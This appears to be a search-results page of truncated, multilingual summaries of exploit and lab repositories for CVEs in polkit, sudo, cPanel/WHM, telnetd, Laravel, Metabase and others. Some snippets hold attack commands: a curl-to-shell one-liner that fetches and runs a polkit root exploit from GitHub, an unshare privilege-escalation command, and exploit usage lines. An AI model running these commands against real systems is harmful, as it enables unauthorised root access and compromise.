14218 matches found
Ashwesker-CVE-2026-20045
🚨 CVE-2026-20045 — Analisi della Zero-Day 🚨 🧨 Cos'è Una vulnerabilità critica di esecuzione remota di codice RCE che colpisce diversi prodotti Cisco Unified Communications. È stata sfruttata attivamente in ambienti reali prima del rilascio delle patch. 🔥 Perché è pericolosa 🚫 Nessuna autenticazio...
pack2theroot-lab
Pack2TheRoot Lab — CVE-2026-41651 Un laboratorio Dockerizzato in stile CTF per l'escalation locale dei privilegi, costruito attorno all'advisory Pack2TheRoot CVE-2026-41651, una vulnerabilità di 12 anni nel demone PackageKit divulgata dal Red Team di Deutsche Telekom il 22 aprile 2026. Il...
cve-2021-4034
CVE-2021-4034-Exploit, aber in Rust – warum nicht? Basierend auf https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c root@kitploit: $ ./download-and-unpack-vulnerable-pkexec.sh optional setuid/setgid für Tests aktivieren $ cargo run --bin prep && cd playground && cargo run --b...
cPanel-WHM-AuthBypass-Session-Checker
Strumento di Validazione della Sessione CVE-2026-41940 Uno strumento complementare per l'exploit di bypass dell'autenticazione CVE-2026-41940 di watchTowr. Dopo aver eseguito l'exploit principale contro un target cPanel/WHM, questo script verifica se la sessione iniettata concede effettivamente...
CVE-2025-32463
CVE-2025-32463 🚨 Escalatazione dei privilegi a root utilizzandosudo chroot. Non è necessario gcc installato. 🚀 Cos'è CVE-2025-32463? CVE-2025-32463 è una vulnerabilità Linux che consente a un attaccante locale di elevare i propri privilegi a root abusando del comando sudo chroot. A differenza di...
CVE-2021-3129-Script
CVE-2021-3129 Laravel = v8.4.2 modalità debug: esecuzione remota di codice CVE-2021-3129 Uso： root@kitploit: python3 exp.py http://127.0.0.1:8888 Try to use Laravel/RCE1 for exploitation. +exploit: Laravel/RCE1 Result: Try to use Laravel/RCE2 for exploitation. +exploit: Laravel/RCE2 Result: Try t...
CVE-2026-24061
CVE-2026-24061: Bypass de Autenticação no GNU InetUtils telnetd - Análise Técnica Detalhada Resumo Executivo A CVE-2026-24061 é uma vulnerabilidade crítica CVSS 9.8 de bypass de autenticação remota no GNU InetUtils telnetd que permite que atacantes não autenticados obtenham acesso root instantâne...
cpanelCVE-2026-41940
🔴 cPanelCVE CVE-2026-41940 — Bypass dell'autenticazione in cPanel & WHM CVSS 10.0 Critico · Confermato In‑The‑Wild · Login Root Automatico 📖 Panoramica cPanelCVE è un exploit proof‑of‑concept per CVE-2026-41940, una vulnerabilità critica di iniezione CRLF nel file di sessione di cPanel & WHM che...
CVE-2026-24061-PoC-Telnetd
CVE-2026-24061 Proof of Concept PoC ⚠️ DISCLAIMER: SOLO A FINI EDUCATIVI ⚠️ Questo repository contiene un Proof-of-Concept PoC per la CVE-2026-24061. È destinato esclusivamente a scopi educativi e per testare sistemi in un ambiente di laboratorio controllato. L'autore non si assume alcuna...
CVE-2021-4034
CVE-2021-4034 Exploit per l'escalation dei privilegi di polkit Basta eseguire make, ./cve-2021-4034 e godersi la propria shell di root. PoC Se l'exploit funziona, otterrai immediatamente una shell di root: root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o...
POC-CVE-2021-4034
CVE-2021-4034 Sebbene la vulnerabilità non sia sfruttabile da remoto e non consenta, di per sé, l'esecuzione arbitraria di codice, può essere utilizzata da attaccanti che hanno già ottenuto un punto d'appoggio su un host vulnerabile per elevare i propri privilegi e raggiungere tale capacità...
kernel-exploit-dirtycow-project-subm
kernel-exploit-dirtycow-project-subm Dirty COW विशेषाधिकार वृद्धि CVE-2016-5195 यह प्रोजेक्ट Ubuntu 16.04 कर्नेल पर CVE-2016-5195 द्वारा प्रभावित Dirty COW भेद्यता का उपयोग करके नियंत्रित प्रयोगशाला वातावरण में विशेषाधिकार वृद्धि परिदृश्य प्रदर्शित करता है। पर्यावरण हमलावर VM: काली लिनक्स पीड़ित...
pentest-metasploitable2
Laboratoire de Test d'Intrusion : Kali Linux vs Metasploitable2 Avertissement : Ce laboratoire a été mené entièrement au sein d'un réseau virtuel isolé entre deux machines virtuelles hébergées localement. Aucun système externe, réseau actif ou infrastructure réelle n'a été ciblé à aucun moment...
inception
Note: This tool is no longer under active development, please look at PCILeech instead. INCEPTION Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe HW interfaces...
CVE-2021-3560
CVE-2021-3560 Exploit Root Istantaneo di Polkit Puoi ottenere i permessi di root con un solo comando su sistemi vulnerabili a Polkit CVE-2021-3560 digitando: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Oppure puoi scaricare il file .sh o copiarlo e...
Privilege-escalation-MitraStar
Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 Vulnérabilité d'élévation de privilèges sur les routeurs MitraStar Appareil : Mitrastar GPT-2541GNAC-N1 Micrologiciel : BRg3.5100VNZ0b33 non testé sur les autres versions Exploit : Les appareils Mitrastar GPT-2541GNAC-N1 sont...
METABASE-RCE-CVE-2023-38646-
METABASE-RCE-CVE-2023-38646- Um den Root-Benutzer der Maschine oder des Systems gemäß den obigen Informationen zu erhalten, führen dieser Befehl und diese Datei zum Root-Benutzer. Sie können diesen Befehl direkt ausführen oder als Datei ausführen. Befehl: $unshare -rm sh -c "mkdir l u w m && cp...
lxd-group-privesc-report
LXD Root Escalação de Privilégio Local para root através da associação padrão ao grupo lxd e do pacote lxd-installer no Ubuntu. Demonstração executada no AWS EC2 Ubuntu Server 26.04 O bug é que a instalação padrão do Ubuntu Server 26.04 concede silenciosamente ao usuário primário a associação ao...
CPanel-Audit-Remediation-Tool
🛡️ Strumento di Audit e Patch Oscar Constanzo CVE-2026-41940 Suite professionale di audit di sicurezza e risposta agli incidenti per infrastrutture cPanel. 📖 Descrizione Questo strumento è stato sviluppato da Oscar Constanzo Quezada, alias Underhost, per identificare e correggere la vulnerabilità...